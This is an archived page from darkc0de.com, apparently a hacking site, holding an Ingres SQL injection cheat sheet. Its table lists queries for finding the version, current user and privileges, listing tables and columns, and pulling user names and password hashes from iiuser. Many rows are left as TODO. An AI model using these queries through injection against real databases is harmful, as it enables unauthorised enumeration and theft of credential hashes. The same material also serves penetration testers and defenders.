darkc0de.com

./cheatsheets/ingres-cs.shtml
0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<style type="text/css">
/* <![CDATA[ */
 
table, td
{
    border-color: #353637;
    border-style: solid;
}
 
table
{
    border-width: 0 0 2px 2px;
    border-spacing: 0;
    border-collapse: collapse;
}
 
td
{
    margin: 0;
    padding: 10px;
    border-width: 2px 2px 0 0;
}
 
/* ]]> */
</style>
 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<link rel="shortcut icon" href="/websites/darkc0de.com/images/favicon.ico" type="image/x-icon" />
	<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
 
	<title>darkc0de.com [ Ingres SQL Injection Cheat Sheet ]</title>
	<link rel="stylesheet" type="text/css" href="/websites/darkc0de.com/style.css" />
 
	</head>
 
	<body>
		<div id="outer">
			<div id="inner">
 
				 <div id="close"><a href="/websites/darkc0de.com/index.shtml" title="close and return to menu">X</a></div>
				 <div id="top"><a href="#top" title="back to top">^</a></div> 
 
				 <!--greyed out links-->
				<div class="bgtext">dark  c0de</div>
				 <div id="text1">scanners</div>
				 <div id="text2">encryption</div>
				 <div id="text3">miscellaneous</div>
				 <div id="text4">bruteforce</div>
				 <div id="text5">irc-bots</div>
				 <div id="text6">others</div>
				<div id="text7">development</div>
				 <div id="text8">py&raquo;exploits</div>	
				 <div id="text10">[s3rvices]</div>
				 <div id="text11">Welcome:</div>
				 <div id="text13">Affiliates</div>
				 <div id="text14">[sn1ppets]</div>
				 <div id="text16">Viewed:</div>
				 <!--greyed out links end-->
 
				 <div id="urltext"><a href="/websites/darkc0de.com/index.shtml" class="navigurl" title="click to return to the index page">/home &raquo; </a>Ingres SQL Injection Cheat Sheet</div>
 
					  <div id="content">
					  	   <a name="top"></a> 
 
					  	   <div class="titleblock">Welcome,&nbsp;212.235.66.182</div>
 
    						   Send all updates to <a href="mailto:d3hydr8[at]gmail[dot]com">[ d3hydr8[at]gmail[dot]com ]</a> or use the form below. 
						   <div class="titleblock">Last Modified: Tuesday, 22-Sep-2009 10:11:17 EDT</div>
								<br>
								<center><form action="/websites/darkc0de.com/cgi-bin/getinput.py" method='post'>
									<b>Submit:&nbsp;&nbsp;</b>
    									<textarea maxlength="30" onkeyup="return ismaxlength(this)" style="background-color:#B0C4DE" name = "message" rows = 1 cols = 40>Enter an update with full details.</textarea><br>
    									<input type="image" border="0" name="submit" value="send" src="/websites/darkc0de.com/images/submit.jpg"></form></center><br>
 
									<ul><li><a href="/websites/darkc0de.com/database/oracle-cs.shtml">Oracle</a></li>
									<li><a href="/websites/darkc0de.com/database/mssql-cs.shtml">MSSQL</a></li>
									<li><a href="/websites/darkc0de.com/database/mysql-cs.shtml">MySQL</a></li>
									<li><a href="/websites/darkc0de.com/database/postgres-cs.shtml">PostgreSQL</a></li>
									<li><a href="/websites/darkc0de.com/database/ingres-cs.shtml">Ingres</a></li>
									<li><a href="/websites/darkc0de.com/database/db2-cs.shtml">DB2</a></li>
									<li><a href="/websites/darkc0de.com/database/msaccess-cs.shtml">MS Access</a></li></ul>
									<br><br><center>
									<table width="519">
									<tbody><tr><td>Version<br></td><td>select dbmsinfo('_version');<br></td></tr><tr><td>Comments&nbsp;</td><td>SELECT 123; -- comment<br> select 123; /* comment */ </td></tr><tr><td>Current User <br></td><td>select dbmsinfo('session_user');<br>select dbmsinfo('system_user');<br></td></tr><tr><td>List Users</td><td>First connect to iidbdb, then:<br>select name, password from iiuser; <br></td></tr><tr><td>List Password Hashes<br></td><td>First connect to iidbdb, then:<br>select name, password from iiuser; <br></td></tr><tr><td>List Privileges</td><td>select dbmsinfo('db_admin');<br>select dbmsinfo('create_table');<br>select dbmsinfo('create_procedure');<br>select dbmsinfo('security_priv');<br>select dbmsinfo('select_syscat');<br>select dbmsinfo('db_privileges');<br>select dbmsinfo('current_priv_mask');</td></tr><tr><td>List DBA Accounts</td><td>TODO</td></tr><tr><td>Current Database&nbsp;  </td><td>select dbmsinfo('database');</td></tr><tr><td>List Databases </td><td>TODO</td></tr><tr><td>List Columns <br></td><td>select column_name, column_datatype, table_name, table_owner from iicolumns;</td></tr><tr><td>List Tables </td><td>select table_name, table_owner from iitables;<br>select relid, relowner, relloc from iirelation;<br>select relid, relowner, relloc from iirelation where relowner != '$ingres'; <br></td></tr><tr><td>Find Tables From Column Name </td><td>TODO</td></tr><tr><td>Select Nth Row</td><td><p>Astoundingly, this <a href="http://community.ingres.com/forums/viewtopic.php?p=6050">doesn't</a> seem to be possible!&nbsp; This is as close as you can get:</p><p>select top 10 blah from table;<br>select first 10 blah form table;  </p></td></tr><tr><td>Select Nth Char  <br></td><td>select substr('abc', 2, 1); -- returns 'b'</td></tr><tr><td>Bitwise AND&nbsp; <br></td><td><p>The function "bit_and" exists, but seems hard to use.&nbsp; Here's an<br>example of ANDing 3 and 5 together.&nbsp; The result is a "byte" type<br>with value \001:</p><p>select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); </p></td></tr><tr><td><p>ASCII Value -&gt; Char</p></td><td>TODO</td></tr><tr><td>Char -&gt; ASCII Value</td><td>TODO<br>(The "ascii" function exists, but doesn't seem to do what I'd expect.)</td></tr><tr><td>Casting</td><td>select cast(123 as varchar);<br>select cast('123' as integer);</td></tr><tr><td>String Concatenation</td><td>select 'abc' || 'def';</td></tr><tr><td><p>If Statement</p></td><td>TODO</td></tr><tr><td>Case Statement</td><td>TODO</td></tr><tr><td>Avoiding Quotes <br></td><td>TODO</td></tr><tr><td>Time Delay&nbsp; <br></td><td><p>???</p><p>See <a href="http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx">Heavy Queries</a>  article for some ideas. </p></td></tr><tr><td>Make DNS Requests</td><td>TODO</td></tr><tr><td>Command Execution</td><td>TODO</td></tr><tr><td>Local File Access<br></td><td>TODO</td></tr><tr><td>Hostname, IP Address</td><td>TODO</td></tr><tr><td>Location of DB files<br></td><td>TODO<br></td></tr></tbody></table>
									<br>
									<br>
 
<br><br>
<a href="/websites/darkc0de.com/store/advertise.html"><font color="white"><b>Advertise Here</b></a></font><br>
<script language="javascript">
	zoneIdentifier="3F8D8B7CF6A06513";
	var varCheckURL = (("https:" == document.location.protocol) ? "https://" : "http://");
	document.write(unescape("%3Cscript src='" + varCheckURL + "adcode.adengage.com/bootstrap/ae.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<br><br>
 
									<b><font size="2" face="courier">This site is maintained by d3hydr8[at]gmail[dot]com
									<br>darkc0de.com &trade; &copy; 2006-Now</font></b>
									<br>
									<br>
									</center>
									<br>
 
 
						   		</ol>
 
						   <div class="titleblock">EOF</div>
 
					 </div>
 
			</div>
		</div>
 
	</body>
 
</html>
Back